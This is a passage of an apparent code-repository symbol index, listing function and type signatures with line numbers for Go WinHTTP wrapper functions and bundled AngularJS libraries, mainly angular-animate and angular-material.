  type winHttpIEProxyConfig (line 37) | type winHttpIEProxyConfig struct
  type winHttpProxyInfo (line 44) | type winHttpProxyInfo struct
  function WinHttpGetIEProxyConfigForCurrentUser (line 50) | func WinHttpGetIEProxyConfigForCurrentUser(lpIeProxy *winHttpIEProxyConf...
  function WinHttpOpen (line 59) | func WinHttpOpen(useragent string) (resp uintptr) {
  function WinHttpConnect (line 67) | func WinHttpConnect(hSession uintptr, url string, port int) (resp uintpt...
  function WinHttpOpenRequest (line 77) | func WinHttpOpenRequest(hConnect uintptr, method string, uri string) (re...
  function WinHttpSetTimeOut (line 87) | func WinHttpSetTimeOut(hSession uintptr, dwResolveTimeout, dwConnectTime...
  function WinHttpSendRequest (line 97) | func WinHttpSendRequest(hRequest uintptr, optional []byte, optional_len ...
  function WinHttpReceiveResponse (line 113) | func WinHttpReceiveResponse(hRequest uintptr) (resp uintptr) {
  function WinHttpQueryDataAvailable (line 118) | func WinHttpQueryDataAvailable(hRequest uintptr, dwSize *uint32) {
  function WinHttpReadData (line 122) | func WinHttpReadData(hRequest uintptr, buf []byte, dwSize uint32, dwDown...
  function WinHttpAddRequestHeaders (line 131) | func WinHttpAddRequestHeaders(hRequest uintptr, headers string, flag int) {
  function WinHttpSetOption (line 140) | func WinHttpSetOption(hSession uintptr, option uintptr, buffer uintptr, ...
  function WinHttpCloseHandle (line 149) | func WinHttpCloseHandle(hHandle uintptr) {

FILE: web/bower_components/angular-animate/angular-animate.js
  function assertArg (line 82) | function assertArg(arg, name, reason) {
  function mergeClasses (line 89) | function mergeClasses(a,b) {
  function packageStyles (line 98) | function packageStyles(options) {
  function pendClasses (line 107) | function pendClasses(classes, fix, isPrefix) {
  function removeFromArray (line 124) | function removeFromArray(arr, val) {
  function stripCommentsFromElement (line 131) | function stripCommentsFromElement(element) {
  function extractElementNode (line 158) | function extractElementNode(element) {
  function $$addClass (line 168) | function $$addClass($$jqLite, element, className) {
  function $$removeClass (line 174) | function $$removeClass($$jqLite, element, className) {
  function applyAnimationClassesFactory (line 180) | function applyAnimationClassesFactory($$jqLite) {
  function prepareAnimationOptions (line 193) | function prepareAnimationOptions(options) {
  function applyAnimationStyles (line 207) | function applyAnimationStyles(element, options) {
  function applyAnimationFromStyles (line 212) | function applyAnimationFromStyles(element, options) {
  function applyAnimationToStyles (line 219) | function applyAnimationToStyles(element, options) {
  function mergeAnimationDetails (line 226) | function mergeAnimationDetails(element, oldAnimation, newAnimation) {
  function resolveElementClasses (line 267) | function resolveElementClasses(existing, toAdd, toRemove) {
  function getDomNode (line 325) | function getDomNode(element) {
  function applyGeneratedPreparationClasses (line 329) | function applyGeneratedPreparationClasses(element, event, options) {
  function clearGeneratedClasses (line 346) | function clearGeneratedClasses(element, options) {
  function blockTransitions (line 357) | function blockTransitions(node, duration) {
  function blockKeyframeAnimations (line 366) | function blockKeyframeAnimations(node, applyBlock) {
  function applyInlineStyle (line 373) | function applyInlineStyle(node, styleTuple) {
  function concatWithSpace (line 379) | function concatWithSpace(a,b) {
  function scheduler (line 388) | function scheduler(tasks) {
  function nextTick (line 418) | function nextTick() {
  function setData (line 525) | function setData(value) {
  function getCssKeyframeDurationStyle (line 771) | function getCssKeyframeDurationStyle(duration) {
  function getCssDelayStyle (line 775) | function getCssDelayStyle(delay, isKeyframeAnimation) {
  function computeCssStyles (line 780) | function computeCssStyles($window, element, properties) {
  function parseMaxTime (line 806) | function parseMaxTime(str) {
  function truthyTimingValue (line 821) | function truthyTimingValue(val) {
  function getCssTransitionDurationStyle (line 825) | function getCssTransitionDurationStyle(duration, applyOnlyDuration) {
  function createLocalCacheLookup (line 836) | function createLocalCacheLookup() {
  function registerRestorableStyles (line 872) | function registerRestorableStyles(backup, node, properties) {
  function gcsHashFn (line 892) | function gcsHashFn(node, extraClasses) {
  function computeCachedCssStyles (line 899) | function computeCachedCssStyles(node, className, cacheKey, properties) {
  function computeCachedCssStaggerStyles (line 915) | function computeCachedCssStaggerStyles(node, className, cacheKey, proper...
  function waitUntilQuiet (line 946) | function waitUntilQuiet(callback) {
  function computeTimings (line 965) | function computeTimings(node, className, cacheKey) {
  function endFn (line 1235) | function endFn() {
  function cancelFn (line 1239) | function cancelFn() {
  function close (line 1243) | function close(rejected) { // jshint ignore:line
  function applyBlocking (line 1302) | function applyBlocking(duration) {
  function closeAndReturnNoopAnimator (line 1312) | function closeAndReturnNoopAnimator() {
  function onAnimationProgress (line 1331) | function onAnimationProgress(event) {
  function start (line 1358) | function start() {
  function isDocumentFragment (line 1544) | function isDocumentFragment(node) {
  function filterCssClasses (line 1575) | function filterCssClasses(classes) {
  function getUniqueValues (line 1580) | function getUniqueValues(a, b) {
  function prepareAnchoredAnimation (line 1588) | function prepareAnchoredAnimation(classes, outAnchor, inAnchor) {
  function prepareFromToAnchorAnimation (line 1715) | function prepareFromToAnchorAnimation(from, to, classes, anchors) {
  function prepareRegularAnimation (line 1768) | function prepareRegularAnimation(animationDetails) {
  function applyOptions (line 1863) | function applyOptions() {
  function close (line 1868) | function close() {
  function onComplete (line 1930) | function onComplete(success) {
  function endAnimations (line 1935) | function endAnimations(cancelled) {
  function executeAnimationFn (line 1944) | function executeAnimationFn(fn, element, event, options, onDone) {
  function groupEventedAnimations (line 1987) | function groupEventedAnimations(element, event, options, animations, fnN...
  function packageAnimations (line 2028) | function packageAnimations(element, event, options, animations, fnName) {
  function lookupAnimations (line 2070) | function lookupAnimations(classes) {
  function endFnFactory (line 2116) | function endFnFactory() {
  function done (line 2125) | function done(status) {
  function prepareAnimation (line 2135) | function prepareAnimation(animationDetails) {
  function makeTruthyCssClassMap (line 2159) | function makeTruthyCssClassMap(classString) {
  function hasMatchingClasses (line 2173) | function hasMatchingClasses(newClassString, currentClassString) {
  function isAllowed (line 2182) | function isAllowed(ruleType, element, currentAnimation, previousAnimatio...
  function hasAnimationClasses (line 2188) | function hasAnimationClasses(animation, and) {
  function postDigestTaskFactory (line 2255) | function postDigestTaskFactory() {
  function normalizeAnimationDetails (line 2315) | function normalizeAnimationDetails(element, animation) {
  function findCallbacks (line 2326) | function findCallbacks(parent, element, event) {
  function filterFromRegistry (line 2345) | function filterFromRegistry(list, matchContainer, matchCallback) {
  function cleanupEventListeners (line 2354) | function cleanupEventListeners(phase, element) {
  function queueAnimation (line 2451) | function queueAnimation(element, event, initialOptions) {
  function closeChildAnimations (line 2731) | function closeChildAnimations(element) {
  function clearElementAnimationState (line 2750) | function clearElementAnimationState(element) {
  function isMatchingElement (line 2756) | function isMatchingElement(nodeOrElmA, nodeOrElmB) {
  function areAnimationsAllowed (line 2767) | function areAnimationsAllowed(element, parentElement, event) {
  function markElementAnimationState (line 2852) | function markElementAnimationState(element, state, details) {
  function setRunner (line 2875) | function setRunner(element, runner) {
  function removeRunner (line 2879) | function removeRunner(element) {
  function getRunner (line 2883) | function getRunner(element) {
  function sortAnimations (line 2893) | function sortAnimations(animations) {
  function getAnchorNodes (line 3093) | function getAnchorNodes(node) {
  function groupAnimations (line 3108) | function groupAnimations(animations) {
  function cssClassesIntersection (line 3191) | function cssClassesIntersection(a,b) {
  function invokeFirstDriver (line 3211) | function invokeFirstDriver(animationDetails) {
  function beforeStart (line 3224) | function beforeStart() {
  function updateAnimationRunners (line 3235) | function updateAnimationRunners(animation, newRunner) {
  function handleDestroyedElement (line 3249) | function handleDestroyedElement() {
  function close (line 3256) | function close(rejected) { // jshint ignore:line

FILE: web/bower_components/angular-aria/angular-aria.js
  function $AriaProvider (line 96) | function $AriaProvider() {
  function shouldAttachAttr (line 229) | function shouldAttachAttr(attr, normalizedAttr, elem, allowBlacklistEls) {
  function shouldAttachRole (line 233) | function shouldAttachRole(role, elem) {
  function getShape (line 240) | function getShape(attr, elem) {
  function ngAriaWatchModelValue (line 268) | function ngAriaWatchModelValue() {
  function getRadioReaction (line 272) | function getRadioReaction(newVal) {
  function getCheckboxReaction (line 277) | function getCheckboxReaction() {
  function callback (line 386) | function callback() {

FILE: web/bower_components/angular-base64/angular-base64.js
  function getbyte64 (line 63) | function getbyte64(s,i) {
  function decode (line 71) | function decode(s) {
  function getbyte (line 114) | function getbyte(s,i) {
  function encode (line 122) | function encode(s) {

FILE: web/bower_components/angular-clipboard/angular-clipboard.js
  function createNode (line 14) | function createNode(text, context) {
  function copyNode (line 25) | function copyNode(node) {
  function copyText (line 44) | function copyText(text, context) {

FILE: web/bower_components/angular-material/angular-material-mocks.js
  function addVendorPrefix (line 146) | function addVendorPrefix(styles) {

FILE: web/bower_components/angular-material/angular-material.js
  function DetectNgTouch (line 39) | function DetectNgTouch($log, $injector) {
  function MdCoreConfigure (line 53) | function MdCoreConfigure($provide, $mdThemingProvider) {
  function rAFDecorator (line 68) | function rAFDecorator($delegate) {
  function MdAutofocusDirective (line 196) | function MdAutofocusDirective() {
  function postLink (line 204) | function postLink(scope, element, attrs) {
  function MdConstantFactory (line 224) | function MdConstantFactory($sniffer) {
  function MdIterator (line 327) | function MdIterator(items, reloop) {
  function mdMediaFactory (line 627) | function mdMediaFactory($mdConstant, $rootScope, $window) {
  function UtilFactory (line 751) | function UtilFactory($document, $timeout, $compile, $rootScope, $$mdAnim...
  function mdCompilerService (line 1424) | function mdCompilerService($q, $http, $injector, $compile, $controller, ...
  function AriaService (line 1572) | function AriaService($$rAF, $log, $window, $interpolate) {
  function MdGestureProvider (line 1707) | function MdGestureProvider() { }
  function MdGesture (line 1732) | function MdGesture($$MdGestureHandler, $$rAF, $timeout) {
  function GestureHandler (line 1995) | function GestureHandler (name) {
  function MdGestureHandler (line 2000) | function MdGestureHandler() {
  function attachToDocument (line 2145) | function attachToDocument( $mdGesture, $$MdGestureHandler ) {
  function makeStartPointer (line 2291) | function makeStartPointer(ev) {
  function typesMatch (line 2308) | function typesMatch(ev, pointer) {
  function isInputEventFromLabelClick (line 2328) | function isInputEventFromLabelClick(event) {
  function updatePointerState (line 2338) | function updatePointerState(ev, pointer) {
  function getEventPoint (line 2361) | function getEventPoint(ev) {
  function InterimElementProvider (line 2399) | function InterimElementProvider() {
  function registerLayoutAPI (line 3139) | function registerLayoutAPI(module){
  function disableLayoutDirective (line 3230) | function disableLayoutDirective() {
  function buildCloakInterceptor (line 3245) | function buildCloakInterceptor(className) {
  function attributeWithObserve (line 3284) | function attributeWithObserve(className) {
  function attributeWithoutValue (line 3332) | function attributeWithoutValue(className) {
  function updateClassWithValue (line 3386) | function updateClassWithValue(element, className) {
  function warnAttrNotSupported (line 3403) | function warnAttrNotSupported(className) {
  function validateAttributeUsage (line 3414) | function validateAttributeUsage(className, attr, element, $log){
  function validateAttributeValue (line 3439) | function validateAttributeValue(className, value, updateFn) {
  function buildUpdateFn (line 3491) | function buildUpdateFn(element, className, attrs) {
  function needsInterpolation (line 3506) | function needsInterpolation(value) {
  function getNormalizedAttrValue (line 3510) | function getNormalizedAttrValue(className, attrs, defaultVal) {
  function findIn (line 3515) | function findIn(item, list, replaceWith) {
  function extractAlignAxis (line 3528) | function extractAlignAxis(attrValue) {
  function ComponentRegistry (line 3581) | function ComponentRegistry($log, $q) {
  function MdButtonInkRipple (line 3707) | function MdButtonInkRipple($mdInkRipple) {
  function MdCheckboxInkRipple (line 3757) | function MdCheckboxInkRipple($mdInkRipple) {
  function MdListInkRipple (line 3796) | function MdListInkRipple($mdInkRipple) {
  function InkRippleDirective (line 3865) | function InkRippleDirective ($mdButtonInkRipple, $mdCheckboxInkRipple) {
  function InkRippleService (line 3921) | function InkRippleService ($injector) {
  function InkRippleCtrl (line 3938) | function InkRippleCtrl ($scope, $element, rippleOptions, $window, $timeo...
  function autoCleanup (line 3967) | function autoCleanup (self, cleanupFn) {
  function getElementColor (line 3996) | function getElementColor () {
  function hexToRGBA (line 4033) | function hexToRGBA (color) {
  function rgbToRGBA (line 4052) | function rgbToRGBA (color) {
  function rgbaToRGB (line 4218) | function rgbaToRGB (color) {
  function getSize (line 4224) | function getSize (fit, x, y) {
  function attrNoDirective (line 4280) | function attrNoDirective () {
  function MdTabInkRipple (line 4307) | function MdTabInkRipple($mdInkRipple) {
  function ThemingProvider (line 4830) | function ThemingProvider($mdColorPalette) {
  function ThemingDirective (line 5099) | function ThemingDirective($mdTheming, $interpolate, $log) {
  function ThemableDirective (line 5121) | function ThemableDirective($mdTheming) {
  function parseRules (line 5126) | function parseRules(theme, colorType, rules) {
  function generateAllThemes (line 5183) | function generateAllThemes($injector) {
  function generateTheme (line 5305) | function generateTheme(name, nonce) {
  function checkValidPalette (line 5341) | function checkValidPalette(theme, colorType) {
  function colorToRgbaArray (line 5353) | function colorToRgbaArray(clr) {
  function rgba (line 5375) | function rgba(rgbArray, opacity) {
  function AnimateDomUtils (line 5408) | function AnimateDomUtils($mdUtil, $q, $timeout, $mdConstant, $animateCss) {
  function AnimateRunner (line 5671) | function AnimateRunner(host) {
  function init (line 5776) | function init(element, options) {
  function applyClasses (line 5916) | function applyClasses(element, options) {
  function computeTimings (line 5927) | function computeTimings(element) {
  function parseMaxTime (line 5954) | function parseMaxTime(str) {
  function waitUntilQuiet (line 5971) | function waitUntilQuiet(callback) {
  function applyAnimationStyles (line 5992) | function applyAnimationStyles(element, options) {
  function applyAnimationFromStyles (line 5997) | function applyAnimationFromStyles(element, options) {
  function applyAnimationToStyles (line 6004) | function applyAnimationToStyles(element, options) {
  function getDomNode (line 6011) | function getDomNode(element) {
  function blockTransition (line 6017) | function blockTransition(element, bool) {
  function camelCase (line 6032) | function camelCase(str) {
  function postLink (line 6092) | function postLink(scope, element, attrs) {
  function MdBottomSheetDirective (line 6154) | function MdBottomSheetDirective($mdBottomSheet) {
  function MdBottomSheetProvider (line 6267) | function MdBottomSheetProvider($$interimElementProvider) {
  function MdButtonDirective (line 6487) | function MdButtonDirective($mdButtonInkRipple, $mdTheming, $mdAria, $tim...
  function mdCardDirective (line 6680) | function mdCardDirective($mdTheming) {
  function MdCheckboxDirective (line 6747) | function MdCheckboxDirective(inputDirective, $mdAria, $mdConstant, $mdTh...
  function mdContentDirective (line 6952) | function mdContentDirective($mdTheming) {
  function iosScrollFix (line 6973) | function iosScrollFix(node) {
  function calendarDirective (line 7039) | function calendarDirective() {
  function CalendarCtrl (line 7087) | function CalendarCtrl($element, $attrs, $scope, $animate, $q, $mdConstant,
  function mdCalendarMonthDirective (line 7550) | function mdCalendarMonthDirective() {
  function CalendarMonthCtrl (line 7590) | function CalendarMonthCtrl($element, $$mdDateUtil, $mdDateLocale) {
  function DateLocaleProvider (line 7910) | function DateLocaleProvider() {
  function defaultFormatDate (line 7985) | function defaultFormatDate(date) {
  function defaultParseDate (line 8010) | function defaultParseDate(dateString) {
  function defaultIsDateComplete (line 8023) | function defaultIsDateComplete(dateString) {
  function defaultMonthHeaderFormatter (line 8037) | function defaultMonthHeaderFormatter(date) {
  function defaultWeekNumberFormatter (line 8046) | function defaultWeekNumberFormatter(number) {
  function defaultLongDateFormatter (line 8055) | function defaultLongDateFormatter(date) {
  function datePickerDirective (line 8158) | function datePickerDirective() {
  function DatePickerCtrl (line 8252) | function DatePickerCtrl($scope, $element, $attrs, $compile, $timeout, $w...
  function getFirstDateOfMonth (line 8780) | function getFirstDateOfMonth(date) {
  function getNumberOfDaysInMonth (line 8789) | function getNumberOfDaysInMonth(date) {
  function getDateInNextMonth (line 8798) | function getDateInNextMonth(date) {
  function getDateInPreviousMonth (line 8807) | function getDateInPreviousMonth(date) {
  function isSameMonthAndYear (line 8817) | function isSameMonthAndYear(d1, d2) {
  function isSameDay (line 8827) | function isSameDay(d1, d2) {
  function isInNextMonth (line 8837) | function isInNextMonth(startDate, endDate) {
  function isInPreviousMonth (line 8848) | function isInPreviousMonth(startDate, endDate) {
  function getDateMidpoint (line 8859) | function getDateMidpoint(d1, d2) {
  function getWeekOfMonth (line 8868) | function getWeekOfMonth(date) {
  function incrementDays (line 8879) | function incrementDays(date, numberOfDays) {
  function incrementMonths (line 8891) | function incrementMonths(date, numberOfMonths) {
  function getMonthDistance (line 8916) | function getMonthDistance(start, end) {
  function getLastDateOfMonth (line 8925) | function getLastDateOfMonth(date) {
  function isValidDate (line 8934) | function isValidDate(date) {
  function setDateTimeToMidnight (line 8942) | function setDateTimeToMidnight(date) {
  function createDateAtMidnight (line 8957) | function createDateAtMidnight(opt_value) {
  function isDateWithinRange (line 8975) | function isDateWithinRange(date, minDate, maxDate) {
  function MdDialogDirective (line 9038) | function MdDialogDirective($$rAF, $mdTheming, $mdDialog) {
  function MdDialogProvider (line 9474) | function MdDialogProvider($$interimElementProvider) {
  function MdDividerDirective (line 10098) | function MdDividerDirective($mdTheming) {
  function MdFabActionsDirective (line 10136) | function MdFabActionsDirective() {
  function FabController (line 10174) | function FabController($scope, $element, $animate, $mdUtil, $mdConstant,...
  function MdFabSpeedDialDirective (line 10568) | function MdFabSpeedDialDirective() {
  function MdFabSpeedDialFlingAnimation (line 10590) | function MdFabSpeedDialFlingAnimation($timeout) {
  function MdFabSpeedDialScaleAnimation (line 10682) | function MdFabSpeedDialScaleAnimation($timeout) {
  function MdFabToolbarDirective (line 10803) | function MdFabToolbarDirective() {
  function MdFabToolbarAnimation (line 10833) | function MdFabToolbarAnimation() {
  function MdFabTriggerDirective (line 10957) | function MdFabTriggerDirective() {
  function GridListDirective (line 11067) | function GridListDirective($interpolate, $mdConstant, $mdGridLayout, $md...
  function GridListController (line 11394) | function GridListController($mdUtil) {
  function GridLayoutFactory (line 11428) | function GridLayoutFactory($mdUtil) {
  function GridTileDirective (line 11682) | function GridTileDirective($mdMedia) {
  function GridTileCaptionDirective (line 11728) | function GridTileCaptionDirective() {
  function mdInputContainerDirective (line 11821) | function mdInputContainerDirective($mdTheming, $parse) {
  function labelDirective (line 11870) | function labelDirective() {
  function inputTextareaDirective (line 11992) | function inputTextareaDirective($mdUtil, $window, $mdAria) {
  function mdMaxlengthDirective (line 12213) | function mdMaxlengthDirective($animate, $mdUtil) {
  function placeholderDirective (line 12280) | function placeholderDirective($log) {
  function mdSelectOnFocusDirective (line 12350) | function mdSelectOnFocusDirective() {
  function ngMessagesDirective (line 12374) | function ngMessagesDirective() {
  function ngMessageDirective (line 12407) | function ngMessageDirective($mdUtil) {
  function mdInputInvalidMessagesAnimation (line 12428) | function mdInputInvalidMessagesAnimation($q, $animateCss) {
  function ngMessagesAnimation (line 12445) | function ngMessagesAnimation($q, $animateCss) {
  function ngMessageAnimation (line 12474) | function ngMessageAnimation($animateCss) {
  function showInputMessages (line 12495) | function showInputMessages(element, $animateCss, $q) {
  function hideInputMessages (line 12508) | function hideInputMessages(element, $animateCss, $q) {
  function showMessage (line 12521) | function showMessage(element, $animateCss) {
  function hideMessage (line 12533) | function hideMessage(element, $animateCss) {
  function getInputElement (line 12552) | function getInputElement(element) {
  function getMessagesElement (line 12558) | function getMessagesElement(element) {
  function mdListDirective (line 12607) | function mdListDirective($mdTheming) {
  function mdListItemDirective (line 12655) | function mdListItemDirective($mdAria, $mdConstant, $mdUtil, $timeout) {
  function MdListController (line 12870) | function MdListController($scope, $element, $mdListInkRipple) {
  function MdPanelService (line 13524) | function MdPanelService($rootElement, $rootScope, $injector, $window) {
  function MdPanelRef (line 13676) | function MdPanelRef(config, $injector) {
  function MdPanelPosition (line 14449) | function MdPanelPosition($window) {
  function MdPanelAnimation (line 14937) | function MdPanelAnimation($injector) {
  function getElement (line 15228) | function getElement(el) {
  function MdProgressCircularDirective (line 15290) | function MdProgressCircularDirective($mdTheming, $mdUtil, $log) {
  function MdProgressLinearDirective (line 15559) | function MdProgressLinearDirective($mdTheming, $mdUtil, $log) {
  function mdRadioGroupDirective (line 15744) | function mdRadioGroupDirective($mdUtil, $mdConstant, $mdTheming, $timeou...
  function mdRadioButtonDirective (line 15935) | function mdRadioButtonDirective($mdAria, $mdUtil, $mdTheming) {
  function SelectDirective (line 16193) | function SelectDirective($mdSelect, $mdUtil, $mdTheming, $mdAria, $compi...
  function SelectMenuDirective (line 16585) | function SelectMenuDirective($parse, $mdUtil, $mdTheming) {
  function OptionDirective (line 16855) | function OptionDirective($mdButtonInkRipple, $mdUtil) {
  function OptgroupDirective (line 16974) | function OptgroupDirective() {
  function SelectHeaderDirective (line 17002) | function SelectHeaderDirective() {
  function SelectProvider (line 17008) | function SelectProvider($$interimElementProvider) {
  function createDirective (line 17619) | function createDirective(name, targetValue) {
  function SidenavService (line 17706) | function SidenavService($mdComponentRegistry, $q) {
  function SidenavFocusDirective (line 17783) | function SidenavFocusDirective() {
  function SidenavDirective (line 17858) | function SidenavDirective($mdMedia, $mdUtil, $mdConstant, $mdTheming, $a...
  function SidenavController (line 18044) | function SidenavController($scope, $element, $attrs, $mdComponentRegistr...
  function SliderDirective (line 18115) | function SliderDirective($$rAF, $window, $mdAria, $mdUtil, $mdConstant, ...
  function MdSticky (line 18548) | function MdSticky($document, $mdConstant, $$rAF, $mdUtil, $compile) {
  function MdSubheaderDirective (line 18891) | function MdSubheaderDirective($mdSticky, $compile, $mdTheming, $mdUtil) {
  function getDirective (line 19023) | function getDirective(name) {
  function MdSwitch (line 19098) | function MdSwitch(mdCheckboxDirective, $mdUtil, $mdConstant, $parse, $$r...
  function MdToastDirective (line 19230) | function MdToastDirective($mdToast) {
  function MdToastProvider (line 19442) | function MdToastProvider($$interimElementProvider) {
  function mdToolbarDirective (line 19704) | function mdToolbarDirective($$rAF, $mdConstant, $mdUtil, $mdTheming, $an...
  function MdTooltipDirective (line 19914) | function MdTooltipDirective($timeout, $window, $$rAF, $document, $mdUtil...
  function VirtualRepeatContainerDirective (line 20216) | function VirtualRepeatContainerDirective() {
  function virtualRepeatContainerTemplate (line 20231) | function virtualRepeatContainerTemplate($element) {
  function VirtualRepeatContainerController (line 20257) | function VirtualRepeatContainerController(
  function VirtualRepeatDirective (line 20594) | function VirtualRepeatDirective($parse) {
  function VirtualRepeatController (line 20619) | function VirtualRepeatController($scope, $element, $attrs, $browser, $do...
  function VirtualRepeatModelArrayLike (line 21064) | function VirtualRepeatModelArrayLike(model) {
  function abstractMethod (line 21085) | function abstractMethod() {
  function MdWhiteframeDirective (line 21124) | function MdWhiteframeDirective($log) {
  function MdAutocompleteCtrl (line 21161) | function MdAutocompleteCtrl ($scope, $element, $mdUtil, $mdConstant, $md...
  function MdAutocomplete (line 22063) | function MdAutocomplete () {
  function MdAutocompleteItemScopeDirective (line 22241) | function MdAutocompleteItemScopeDirective($compile, $mdUtil) {
  function MdHighlightCtrl (line 22321) | function MdHighlightCtrl ($scope, $element, $attrs) {
  function MdHighlight (line 22397) | function MdHighlight ($interpolate, $parse) {
  function MdChip (line 22452) | function MdChip($mdTheming, $mdUtil) {
  function MdChipRemove (line 22512) | function MdChipRemove ($timeout) {
  function MdChipTransclude (line 22545) | function MdChipTransclude ($compile) {
  function MdChipsCtrl (line 22588) | function MdChipsCtrl ($scope, $mdConstant, $log, $element, $timeout, $md...
  function MdChips (line 23310) | function MdChips ($mdTheming, $mdUtil, $compile, $log, $timeout) {
  function MdContactChipsCtrl (line 23502) | function MdContactChipsCtrl () {
  function MdContactChips (line 23632) | function MdContactChips($mdTheming, $mdUtil) {
  function mdIconDirective (line 23840) | function mdIconDirective($mdIcon, $mdTheming, $mdAria ) {
  function MdIconProvider (line 24176) | function MdIconProvider() { }
  function ConfigurationItem (line 24286) | function ConfigurationItem(url, viewBoxSize) {
  function MdIconService (line 24333) | function MdIconService(config, $http, $q, $log, $templateCache, $mdUtil) {
  function MenuController (line 24546) | function MenuController($mdMenu, $attrs, $element, $scope, $mdUtil, $tim...
  function MenuDirective (line 24917) | function MenuDirective($mdUtil) {
  function MenuProvider (line 25003) | function MenuProvider($$interimElementProvider) {
  function MenuBarController (line 25517) | function MenuBarController($scope, $rootScope, $element, $attrs, $mdCons...
  function MenuBarDirective (line 25854) | function MenuBarDirective($mdUtil, $mdTheming) {
  function MenuDividerDirective (line 25901) | function MenuDividerDirective() {
  function MenuItemController (line 25925) | function MenuItemController($scope, $element, $attrs) {
  function isSelected (line 25990) | function isSelected() {
  function setDisabled (line 25999) | function setDisabled(disabled) {
  function MenuItemDirective (line 26032) | function MenuItemDirective() {
  function MdTab (line 26143) | function MdTab () {
  function MdTabItem (line 26225) | function MdTabItem () {
  function MdTabLabel (line 26243) | function MdTabLabel () {
  function MdTabScroll (line 26255) | function MdTabScroll ($parse) {
  function MdTabsController (line 26281) | function MdTabsController ($scope, $element, $window, $mdConstant, $mdTa...
  function MdTabs (line 27143) | function MdTabs () {
  function MdTabsTemplate (line 27262) | function MdTabsTemplate ($compile, $mdUtil) {

FILE: web/bower_components/angular-material/modules/closure/autocomplete/autocomplete.js
  function MdAutocompleteCtrl (line 33) | function MdAutocompleteCtrl ($scope, $element, $mdUtil, $mdConstant, $md...
  function MdAutocomplete (line 931) | function MdAutocomplete () {
  function MdAutocompleteItemScopeDirective (line 1105) | function MdAutocompleteItemScopeDirective($compile, $mdUtil) {
  function MdHighlightCtrl (line 1181) | function MdHighlightCtrl ($scope, $element, $attrs) {
  function MdHighlight (line 1253) | function MdHighlight ($interpolate, $parse) {

FILE: web/bower_components/angular-material/modules/closure/backdrop/backdrop.js
  function postLink (line 38) | function postLink(scope, element, attrs) {

FILE: web/bower_components/angular-material/modules/closure/bottomSheet/bottomSheet.js
  function MdBottomSheetDirective (line 25) | function MdBottomSheetDirective($mdBottomSheet) {
  function MdBottomSheetProvider (line 138) | function MdBottomSheetProvider($$interimElementProvider) {

FILE: web/bower_components/angular-material/modules/closure/button/button.js
  function MdButtonDirective (line 72) | function MdButtonDirective($mdButtonInkRipple, $mdTheming, $mdAria, $tim...

FILE: web/bower_components/angular-material/modules/closure/card/card.js
  function mdCardDirective (line 130) | function mdCardDirective($mdTheming) {

FILE: web/bower_components/angular-material/modules/closure/checkbox/checkbox.js
  function MdCheckboxDirective (line 62) | function MdCheckboxDirective(inputDirective, $mdAria, $mdConstant, $mdTh...

FILE: web/bower_components/angular-material/modules/closure/chips/chips.js
  function MdChip (line 57) | function MdChip($mdTheming, $mdUtil) {
  function MdChipRemove (line 113) | function MdChipRemove ($timeout) {
  function MdChipTransclude (line 142) | function MdChipTransclude ($compile) {
  function MdChipsCtrl (line 181) | function MdChipsCtrl ($scope, $mdConstant, $log, $element, $timeout, $md...
  function MdChips (line 899) | function MdChips ($mdTheming, $mdUtil, $compile, $log, $timeout) {
  function MdContactChipsCtrl (line 1087) | function MdContactChipsCtrl () {
  function MdContactChips (line 1213) | function MdContactChips($mdTheming, $mdUtil) {

FILE: web/bower_components/angular-material/modules/closure/colors/colors.js
  function MdColorsService (line 50) | function MdColorsService($mdTheming, $mdUtil, $log) {
  function MdColorsDirective (line 269) | function MdColorsDirective($mdColors, $mdUtil, $log, $parse) {

FILE: web/bower_components/angular-material/modules/closure/content/content.js
  function mdContentDirective (line 43) | function mdContentDirective($mdTheming) {
  function iosScrollFix (line 64) | function iosScrollFix(node) {

FILE: web/bower_components/angular-material/modules/closure/core/core.js
  function DetectNgTouch (line 34) | function DetectNgTouch($log, $injector) {
  function MdCoreConfigure (line 48) | function MdCoreConfigure($provide, $mdThemingProvider) {
  function rAFDecorator (line 63) | function rAFDecorator($delegate) {
  function MdAutofocusDirective (line 187) | function MdAutofocusDirective() {
  function postLink (line 195) | function postLink(scope, element, attrs) {
  function MdConstantFactory (line 211) | function MdConstantFactory($sniffer) {
  function MdIterator (line 310) | function MdIterator(items, reloop) {
  function mdMediaFactory (line 606) | function mdMediaFactory($mdConstant, $rootScope, $window) {
  function UtilFactory (line 726) | function UtilFactory($document, $timeout, $compile, $rootScope, $$mdAnim...
  function AriaService (line 1398) | function AriaService($$rAF, $log, $window, $interpolate) {
  function mdCompilerService (line 1487) | function mdCompilerService($q, $http, $injector, $compile, $controller, ...
  function MdGestureProvider (line 1670) | function MdGestureProvider() { }
  function MdGesture (line 1695) | function MdGesture($$MdGestureHandler, $$rAF, $timeout) {
  function GestureHandler (line 1958) | function GestureHandler (name) {
  function MdGestureHandler (line 1963) | function MdGestureHandler() {
  function attachToDocument (line 2108) | function attachToDocument( $mdGesture, $$MdGestureHandler ) {
  function makeStartPointer (line 2254) | function makeStartPointer(ev) {
  function typesMatch (line 2271) | function typesMatch(ev, pointer) {
  function isInputEventFromLabelClick (line 2291) | function isInputEventFromLabelClick(event) {
  function updatePointerState (line 2301) | function updatePointerState(ev, pointer) {
  function getEventPoint (line 2324) | function getEventPoint(ev) {
  function InterimElementProvider (line 2358) | function InterimElementProvider() {
  function registerLayoutAPI (line 3094) | function registerLayoutAPI(module){
  function disableLayoutDirective (line 3185) | function disableLayoutDirective() {
  function buildCloakInterceptor (line 3200) | function buildCloakInterceptor(className) {
  function attributeWithObserve (line 3239) | function attributeWithObserve(className) {
  function attributeWithoutValue (line 3287) | function attributeWithoutValue(className) {
  function updateClassWithValue (line 3341) | function updateClassWithValue(element, className) {
  function warnAttrNotSupported (line 3358) | function warnAttrNotSupported(className) {
  function validateAttributeUsage (line 3369) | function validateAttributeUsage(className, attr, element, $log){
  function validateAttributeValue (line 3394) | function validateAttributeValue(className, value, updateFn) {
  function buildUpdateFn (line 3446) | function buildUpdateFn(element, className, attrs) {
  function needsInterpolation (line 3461) | function needsInterpolation(value) {
  function getNormalizedAttrValue (line 3465) | function getNormalizedAttrValue(className, attrs, defaultVal) {
  function findIn (line 3470) | function findIn(item, list, replaceWith) {
  function extractAlignAxis (line 3483) | function extractAlignAxis(attrValue) {
  function ComponentRegistry (line 3532) | function ComponentRegistry($log, $q) {
  function MdButtonInkRipple (line 3654) | function MdButtonInkRipple($mdInkRipple) {
  function MdCheckboxInkRipple (line 3700) | function MdCheckboxInkRipple($mdInkRipple) {
  function MdListInkRipple (line 3735) | function MdListInkRipple($mdInkRipple) {
